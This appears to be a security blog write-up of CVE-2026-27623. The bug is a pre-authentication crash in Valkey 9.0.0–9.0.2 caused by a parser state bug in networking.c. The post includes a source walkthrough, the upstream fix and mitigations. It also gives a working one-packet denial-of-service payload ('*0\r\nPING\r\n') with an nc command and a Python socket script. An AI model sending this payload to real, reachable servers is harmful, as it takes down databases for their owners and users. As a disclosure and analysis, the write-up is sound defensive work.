Skip to main content

CVE-2026-27623 Pre-Authentication DOS from malformed RESP request

Author
quanye
Systems software: OS, networking, distributed systems.
Table of Contents

CVE-2026-27623 — Pre-Authentication DOS from malformed RESP request
#

Valkey pre-auth DoS | RESP protocol state machine | CVSS 3.1: 7.5 HIGH | CWE-20 | no auth required | Reproduction steps

When Valkey (Redis-family open-source fork) handles a malformed RESP request, it fails to reset reqtype on the “empty multibulk” path. An attacker only needs one TCP connection and a pipelined *0\r\nPING\r\n to trip an assertion in networking.c and abort the entire valkey-server process — no prior login or complex handshake.


Vulnerability overview
#

Item Detail
CVE ID CVE-2026-27623
Codename Pre-Authentication DOS from malformed RESP request
Type Remote DoS (assertion failure → process abort); triggerable before auth
CVSS 3.1 7.5 HIGH (GitHub Advisory: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
CWE CWE-20 (Improper Input Validation)
Component valkey-server; parsing concentrated in src/networking.c (processInputBuffer / parseMultibulk / handleParseResults, etc.)
Discoverers NVIDIA Networking Security (Daniel Bransky, Eliya Cohen; see official GHSA Credits)
Disclosure & fix GitHub Security Advisory GHSA-93p9-5vc7-8wgr (2026-02-23); patch commit 2c311dd7173
Exploit conditions Reach Valkey listen port; send once *0\r\nPING\r\n (pipelined in the same TCP buffer)

Affected range
#

Valkey versions
#

Per the official advisory (GHSA text; treat => as ):

受影响:Valkey ≥ 9.0.0 且 ≤ 9.0.2
已修复:9.0.3 及以上

PoC and source walkthrough here default to the 9.0.2 tag. For post-fix behavior, use 9.0.3 or a branch containing 2c311dd.

Other notes
#

Item Note
Redis mainline This CVE and PoC target Valkey; other forks that merged the same parser logic should follow their own advisories.
Exposure Same as typical in-memory DB deployments: unpatched instances exposed to untrusted networks can be one-packet DoSed. Use non-default ports in labs; avoid public listen.

Root-cause analysis
#

You need a basic understanding of Redis RESP.

From a systems / network design view, RESP is a classic protocol: human-readable like HTTP, yet efficient to parse like binary. Core philosophy: prefix bytes select type, and \r\n (CRLF) frames boundaries.

Example:

*2\r\n # 发送一个长度为2的数组
$3\r\n # 这是第一个元素,长度为3 就是foo字符串的长度。
foo\r\n
$3\r\n # 这是第二个元素,长度也为3。
bar\r\n

Injected raw bytes (ASCII, no spaces):

*0\r\nPING\r\n
  • *0\r\n: RESP2 Array header with 0 elements (no $… arg lines). To the server: a “multibulk length 0” request header.
  • PING\r\n: RESP/Telnet-style inline command (whole line is the command; does not start with *).

Essence: after the first segment is handled as “multibulk finished”, client state still treats “the next segment as multibulk” (the state-machine bug). When the second segment starts with P, the parser still asserts “a new array must start with *", and crashes.

1. Entry: read into querybuf and enter the process loop
#

Inspect Valkey 9.0.2 networking.c; we only walk the important blocks.

  1. After nc connects, the kernel delivers the whole *0\r\nPING\r\n via read(2).
  2. In readQueryFromClient, readToQueryBuf appends to c->querybuf; on success handleReadResult calls processInputBuffer (see the call near readQueryFromClient).
void readQueryFromClient(connection *conn) {
    client *c = connGetPrivateData(conn);
    /* Check if we can send the client to be handled by the IO-thread */
    // 这里是否启用了IO线程都没有影响
    if (postponeClientRead(c)) return;

    if (c->io_write_state != CLIENT_IDLE || c->io_read_state != CLIENT_IDLE) return;

    bool repeat = false;
    int iter = 0;
    do {
        bool full_read = readToQueryBuf(c);
        if (handleReadResult(c) == C_OK) {
            // 就是处理输入的缓冲区
            if (processInputBuffer(c) == C_ERR) return;
            ......

Main loop is processInputBuffer: clear read_flags, optionally parseInputBuffer, then handleParseResults.

int processInputBuffer(client *c) {
    /* Parse the query buffer and/or execute already parsed commands. */
    while ((c->querybuf && c->qb_pos < sdslen(c->querybuf)) ||
           c->cmd_queue.off < c->cmd_queue.len) {
        if (!canParseCommand(c)) {
            break;
        }

        c->read_flags = isReplicatedClient(c) ? READ_FLAGS_REPLICATED : 0;
        c->read_flags |= authRequired(c) ? READ_FLAGS_AUTH_REQUIRED : 0;

        /* If commands are queued up, pop from the queue first */
        if (!consumeCommandQueue(c)) {
            // 这里进行输入缓冲区的解析
            parseInputBuffer(c);
            prepareCommandQueue(c);
        }

        /* Prefetch keys for the next commands in queue, if not already done. */
        prefetchCommandQueueKeys(c);

        if (handleParseResults(c) != PARSE_OK) {
            break;
        }

Key point: one read can carry multiple logical requests; when the first produces no executable command (argc == 0), the loop continues and immediately parses remaining bytes on the same buffer/connection.

2. First parse: recognize multibulk and consume *0\r\n
#

2.1 Choose “next is multibulk or inline”
#

In parseInputBuffer, only when c->reqtype == 0 do we look at the first byte:

void parseInputBuffer(client *c) {
    /* The command queue must be emptied before parsing. */
    serverAssert(c->cmd_queue.len == 0);

    /* Determine request type when unknown. */
    if (!c->reqtype) {
        if (c->querybuf[c->qb_pos] == '*') {
            c->reqtype = PROTO_REQ_MULTIBULK;
        } else {
            c->reqtype = PROTO_REQ_INLINE;
        }
    }

    if (c->reqtype == PROTO_REQ_INLINE) {
        parseInlineBuffer(c);
    } else if (c->reqtype == PROTO_REQ_MULTIBULK) {
        parseMultibulkBuffer(c);
    } else {
        serverPanic("Unknown request type");
    }
}

On a new connection reqtype == 0, qb_pos == 0, first byte is *, so c->reqtype = PROTO_REQ_MULTIBULK, then parseMultibulkBufferparseMultibulk.

2.2 Parse *0\r\n: advance read pointer to P, set “zero/negative multibulk” flag
#

Walk into parseMultibulkBufferparseMultibulk:

When c->multibulklen == 0, we are “starting a new *<n>\r\n line”:

  1. memchr for \r to ensure a full line.
  2. Assert current position is * (normal RESP arrays always are — see assert below).
  3. Parse ll == 0, move qb_pos past that line’s CRLF (pointing at P), then return READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN.
static int parseMultibulk(client *c,
                          int *argc,
                          robj ***argv,
                          int *argv_len,
                          size_t *argv_len_sum,
                          unsigned long long *net_input_bytes_curr_cmd) {
    char *newline = NULL;
    int ok;
    long long ll;
    int is_replicated = c->read_flags & READ_FLAGS_REPLICATED;
    int auth_required = c->read_flags & READ_FLAGS_AUTH_REQUIRED;
	// 这条 multibulk 头表示 0 个参数,本条逻辑命令结束
    if (c->multibulklen == 0) {
        /* The client (argc) should have been reset */
        serverAssertWithInfo(c, NULL, *argc == 0);

        /* Multi bulk length cannot be read without a \r\n */
        newline = memchr(c->querybuf + c->qb_pos, '\r', sdslen(c->querybuf) - c->qb_pos);
        if (newline == NULL) {
            if (sdslen(c->querybuf) - c->qb_pos > PROTO_INLINE_MAX_SIZE) {
                return READ_FLAGS_ERROR_BIG_MULTIBULK;
            }
            return 0;
        }

        /* Buffer should also contain \n */
        if (newline - (c->querybuf + c->qb_pos) > (ssize_t)(sdslen(c->querybuf) - c->qb_pos - 2)) return 0;

        /* We know for sure there is a whole line since newline != NULL,
         * so go ahead and find out the multi bulk length. */
        serverAssertWithInfo(c, NULL, c->querybuf[c->qb_pos] == '*');
        ......
        c->qb_pos = (newline - c->querybuf) + 2;

        if (ll <= 0) {
            return READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN;
        }
        ......

parseMultibulkBuffer ORs the return into c->read_flags and returns:

void parseMultibulkBuffer(client *c) {
    int flag = parseMultibulk(c, &c->argc, &c->argv, &c->argv_len,
                              &c->argv_len_sum, &c->net_input_bytes_curr_cmd);
    c->read_flags |= flag;
    ......

3. handleParseResults: treats “this request done”, but forgets to clear reqtype
#

Seeing READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN, handleParseResults takes the “multibulk saw <=0 length” branch: only resetClient, then PARSE_OK:

/* This function is called after the query-buffer was parsed.
 * It is used to handle parsing errors and to update the client state.
 * The function returns C_OK if a command can be executed, otherwise C_ERR. */
parseResult handleParseResults(client *c) {
......
			if (c->read_flags & READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN) {
        			/* Multibulk processing could see a <= 0 length. */
        			resetClient(c);
                    return PARSE_OK;
               }
......
}

Critical: resetClient mainly clears argv / command-related flags and does not set c->reqtype back to 0.

So on vulnerable versions (9.0.0–9.0.2), after the first parse:

  • c->reqtype == PROTO_REQ_MULTIBULK (set on first entry to parseInputBuffer)
  • c->qb_pos points at P of PING\r\n, with unconsumed data left.

4. Second round of processInputBuffer: continue when argc == 0
#

The first parse formed no executable command (argc == 0); later branches continue as long as qb_pos < sdslen(querybuf), running parseInputBuffer again.

int processInputBuffer(client *c) {
    /* Parse the query buffer and/or execute already parsed commands. */
    while ((c->querybuf && c->qb_pos < sdslen(c->querybuf)) ||
           c->cmd_queue.off < c->cmd_queue.len) {
        ......
    }

5. Second parse: still multibulk, first byte is P → assert fires
#

On the second parseInputBuffer, unfixed c->reqtype stays PROTO_REQ_MULTIBULK, so the if (!c->reqtype) { ... } re-selection by * / non-* is skipped; enter parseMultibulk again → with multibulklen == 0, code thinks “start next *<n>\r\n line” and again runs:

serverAssertWithInfo(c, NULL, c->querybuf[c->qb_pos] == '*');

That is the assertion failure.

Here c->querybuf[c->qb_pos] == 'P' (first letter of PING), not *; serverAssertWithInfo fails and the process aborts per assert config — the classic path when pipelining *0\r\n then inline PING\r\n.

6. Trigger flow summary
#

Step Buffer semantics Critical state
Read Full *0\r\nPING\r\n in querybuf reqtype=0
First parseInputBuffer See *, take multibulk reqtype=MULTIBULK
parseMultibulk Consume *0\r\n, qb_posP Return READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN
handleParseResults resetClient, old code leaves reqtype reqtype still MULTIBULK
Second parseInputBuffer Skip type detect Still parseMultibulkBuffer
parseMultibulk Expects new line to start with * At qb_pos is P → assert at line 3528 fails

Exploitation
#

Attack surface and prerequisites
#

  1. Network reachability: TCP to valkey-server (PoC uses plaintext; with TLS termination, attack surface is wherever bytes to Valkey can be rewritten).
  2. No auth: Crash is in protocol parsing, before command execution and ACL.
  3. Low interaction: Single connection, short payload; combines multi-segment parse within one read with incorrectly retained reqtype.

Payload semantics
#

Fragment Protocol role
*0\r\n RESP2 array header, length 0; no executable command (argc == 0)
PING\r\n Inline-style command line (whole line; not *-prefixed)

After the zero-length multibulk path returns, old versions leave c->reqtype non-zero; the second segment should reclassify as inline but still takes multibulk, then asserts in parseMultibulk that a new array line must start with *. Details in Root-cause analysis.

Mapping to this repo’s PoC
#

File Note
exploit/exp.py Uses socket to send *0\r\nPING\r\n to default 127.0.0.1:16379, equivalent to the Python snippet in Reproduction steps.

Reproduction steps
#

1. Prepare the environment
#

  1. Separate directory or container (do not hit other local Redis/Valkey).
  2. Check out the affected tag and clean-build (strongly recommend distclean when switching branches):
git fetch --tags
git checkout 9.0.2 # 在本次受影响的范围之内
make distclean && make -j"$(nproc)"
  1. Start on a non-default port with protection off (lab only):
./src/valkey-server --port 16379 --protected-mode no

Use another terminal to send; or --daemonize yes + pidfile.

2. Main repro: pipeline two segments in one TCP write
#

Raw bytes (hex):

2a 30 0d 0a 50 49 4e 47 0d 0a

ASCII: *0\r\nPING\r\n (no extra spaces).

2.1 With nc
#

printf '*0\r\nPING\r\n' | nc -w 2 127.0.0.1 16379

Typical on 9.0.2: valkey-server exits (or logs an assert); nc may not see a normal +PONG; peer closes the connection.

Assert log looks like:

=== VALKEY BUG REPORT START: Cut & paste starting from here ===
190361:M 22 May 2026 16:06:10.113 # === ASSERTION FAILED CLIENT CONTEXT ===
190361:M 22 May 2026 16:06:10.113 # client->flags = 108086391056891904
190361:M 22 May 2026 16:06:10.113 # client->conn = fd=10
190361:M 22 May 2026 16:06:10.113 # client->argc = 0
190361:M 22 May 2026 16:06:10.113 # === RECURSIVE ASSERTION FAILED ===
190361:M 22 May 2026 16:06:10.113 # ==> networking.c:3528 'c->querybuf[c->qb_pos] == '*'' is not true

Typical on 9.0.3+ (or fixed unstable): Process survives; you may see handling of *0, then +PONG (or RESP3 equivalent) for PING depending on HELLO.

2.2 With this repo’s script (exploit/exp.py)
#

From the cloned vulnerability directory (default 127.0.0.1:16379; edit host/port if needed):

cd "CVE-2026-27623 Pre-Authentication DOS from malformed RESP request"
python3 exploit/exp.py

On affected versions, common output is recv: b'' or connection reset (server aborted); same as §2.1.

2.3 Inline Python (equivalent to exp.py)
#

import socket

host, port = "127.0.0.1", 16379
payload = b"*0\r\nPING\r\n"
with socket.create_connection((host, port)) as s:
    s.sendall(payload)
    try:
        print("recv:", s.recv(4096))
    except ConnectionResetError as e:
        print("connection reset (common if server aborted):", e)

Fix
#

Upstream fix (recommended) #

Root cause: paths such as READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN did not clear reqtype after resetClient, so remaining inline data in the same buffer was still parsed as multibulk. Upstream adds c->reqtype = 0 in the relevant handleParseResults branches and adds regression tests (tests/unit/protocol.tcl).

  • Patch commit: valkey-io/valkey@2c311dd7173 (2026-02-23)
  • Release: upgrade to Valkey ≥ 9.0.3 (or distro packages that backported the patch).

Critical diff (excerpt)
#

@@ -3096,12 +3096,14 @@ parseResult handleParseResults(client *c) {
        /* in case the client's query was an empty line we will ignore it and proceed to process the rest of the buffer
         * if any */
        resetClient(c);
        c->reqtype = 0;
        return PARSE_OK;
    }

    if (c->read_flags & READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN) {
        /* Multibulk processing could see a <= 0 length. */
        resetClient(c);
        c->reqtype = 0;
        return PARSE_OK;
    }

Temporary mitigation
#

If you cannot upgrade immediately, network isolation (firewall, Kubernetes NetworkPolicy, cloud SGs) restrict Valkey listen ports to trusted nets; the advisory also recommends trusted-user-only access. These reduce exploit probability but do not replace upgrading.


Timeline
#

Date Event
2026-02-23 Upstream fix 2c311dd7173 (reset reqtype in handleParseResults; regression in tests/unit/protocol.tcl)
2026-02-23 GitHub Security Advisory GHSA-93p9-5vc7-8wgr

CVE registration dates / vectors in MITRE / NVD follow later official sync.


References
#

Source Link
GitHub Security Advisory https://github.com/valkey-io/valkey/security/advisories/GHSA-93p9-5vc7-8wgr
Upstream fix commit https://github.com/valkey-io/valkey/commit/2c311dd7173ffc715a3d61266fdede6096a097de
Valkey repo https://github.com/valkey-io/valkey
  • Reported by: NVIDIA Networking Security (Daniel Bransky, Eliya Cohen; see GHSA Credits)
  • Link check date for this note: 2026-05-22